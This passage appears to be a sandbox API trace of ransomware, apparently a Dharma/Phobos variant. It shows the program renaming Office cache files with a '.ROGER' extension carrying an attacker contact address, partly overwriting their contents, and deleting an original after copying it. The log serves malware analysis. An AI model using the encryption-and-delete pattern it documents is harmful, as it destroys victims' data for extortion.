4 [0041.858] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.858] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0041.858] lstrlenW (lpString="Proof.cab") returned 9 [0041.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0041.859] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=11482605) returned 1 [0041.859] CloseHandle (hObject=0x34c) returned 1 [0041.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0041.859] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.859] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0042.099] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0042.099] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.099] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.099] ReadFile (in: hFile=0x34c, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.105] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.105] ReadFile (in: hFile=0x34c, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.108] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.116] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.116] ReadFile (in: hFile=0x34c, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.133] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.133] WriteFile (in: hFile=0x34c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.151] SetEndOfFile (hFile=0x34c) returned 1 [0042.151] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e40088 [0042.151] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.151] WriteFile (in: hFile=0x34c, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.152] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.152] WriteFile (in: hFile=0x34c, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.154] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.154] WriteFile (in: hFile=0x34c, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.268] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0042.269] CloseHandle (hObject=0x34c) returned 1 [0043.450] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0043.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.450] lstrlenW (lpString=".doc") returned 4 [0043.450] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.450] lstrlenW (lpString=".docx") returned 5 [0043.450] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0043.450] lstrlenW (lpString=".pdf") returned 4 [0043.450] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.450] lstrlenW (lpString=".xls") returned 4 [0043.451] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString=".xlsx") returned 5 [0043.451] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0043.451] lstrlenW (lpString=".ppt") returned 4 [0043.451] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString=".zip") returned 4 [0043.451] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString=".rar") returned 4 [0043.451] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString=".bz2") returned 4 [0043.451] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.451] lstrlenW (lpString=".7z") returned 3 [0043.451] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString=".dbf") returned 4 [0043.451] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString=".1cd") returned 4 [0043.451] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString=".jpg") returned 4 [0043.451] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.451] lstrlenW (lpString=".doc") returned 4 [0043.451] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString=".docx") returned 5 [0043.451] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0043.451] lstrlenW (lpString=".pdf") returned 4 [0043.451] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.451] lstrlenW (lpString=".xls") returned 4 [0043.452] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.452] lstrlenW (lpString=".xlsx") returned 5 [0043.452] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0043.452] lstrlenW (lpString=".ppt") returned 4 [0043.452] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.452] lstrlenW (lpString=".zip") returned 4 [0043.452] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.452] lstrlenW (lpString=".rar") returned 4 [0043.452] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.452] lstrlenW (lpString=".bz2") returned 4 [0043.452] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.452] lstrlenW (lpString=".7z") returned 3 [0043.452] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.452] lstrlenW (lpString=".dbf") returned 4 [0043.452] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.452] lstrlenW (lpString=".1cd") returned 4 [0043.452] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0043.452] lstrlenW (lpString=".jpg") returned 4 [0043.452] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.452] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0043.452] lstrlenW (lpString="Proofing.msi") returned 12 [0043.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.453] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=868864) returned 1 [0043.453] CloseHandle (hObject=0x34c) returned 1 [0043.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0043.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.453] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.453] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0043.453] GetLastError () returned 0x0 [0043.453] ReadFile (in: hFile=0x34c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0043.476] WriteFile (in: hFile=0x370, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0043.493] ReadFile (in: hFile=0x34c, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.493] WriteFile (in: hFile=0x370, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.493] SetEndOfFile (hFile=0x370) returned 1 [0043.493] CloseHandle (hObject=0x370) returned 1 [0043.821] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.821] SetEndOfFile (hFile=0x34c) returned 1 [0043.851] CloseHandle (hObject=0x34c) returned 1 [0043.851] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0043.851] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0043.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.851] lstrlenW (lpString=".doc") returned 4 [0043.851] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.851] lstrlenW (lpString=".docx") returned 5 [0043.851] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0043.852] lstrlenW (lpString=".pdf") returned 4 [0043.852] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.852] lstrlenW (lpString=".xls") returned 4 [0043.852] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.852] lstrlenW (lpString=".xlsx") returned 5 [0043.852] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0043.852] lstrlenW (lpString=".ppt") returned 4 [0043.852] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString=".zip") returned 4 [0043.852] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.852] lstrlenW (lpString=".rar") returned 4 [0043.852] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.852] lstrlenW (lpString=".bz2") returned 4 [0043.852] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.852] lstrlenW (lpString=".7z") returned 3 [0043.852] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString=".dbf") returned 4 [0043.852] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString=".1cd") returned 4 [0043.852] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString=".jpg") returned 4 [0043.852] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.852] lstrlenW (lpString=".doc") returned 4 [0043.852] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.852] lstrlenW (lpString=".docx") returned 5 [0043.852] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0043.853] lstrlenW (lpString=".pdf") returned 4 [0043.853] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.853] lstrlenW (lpString=".xls") returned 4 [0043.853] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.853] lstrlenW (lpString=".xlsx") returned 5 [0043.853] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0043.853] lstrlenW (lpString=".ppt") returned 4 [0043.853] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.853] lstrlenW (lpString=".zip") returned 4 [0043.853] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.853] lstrlenW (lpString=".rar") returned 4 [0043.853] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.853] lstrlenW (lpString=".bz2") returned 4 [0043.853] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.853] lstrlenW (lpString=".7z") returned 3 [0043.853] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.853] lstrlenW (lpString=".dbf") returned 4 [0043.853] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.853] lstrlenW (lpString=".1cd") returned 4 [0043.853] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0043.853] lstrlenW (lpString=".jpg") returned 4 [0043.853] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.853] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0043.853] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0043.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.854] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=2928955) returned 1 [0043.854] CloseHandle (hObject=0x34c) returned 1 [0043.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0043.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.854] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0043.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.855] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.855] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.855] ReadFile (in: hFile=0x34c, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.859] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.859] ReadFile (in: hFile=0x34c, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.866] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.866] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.866] ReadFile (in: hFile=0x34c, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.881] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.881] WriteFile (in: hFile=0x34c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.316] SetEndOfFile (hFile=0x34c) returned 1 [0044.316] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0044.316] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.316] WriteFile (in: hFile=0x34c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.318] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.318] WriteFile (in: hFile=0x34c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.323] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.323] WriteFile (in: hFile=0x34c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.325] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0044.325] CloseHandle (hObject=0x34c) returned 1 [0044.966] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0044.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.966] lstrlenW (lpString=".doc") returned 4 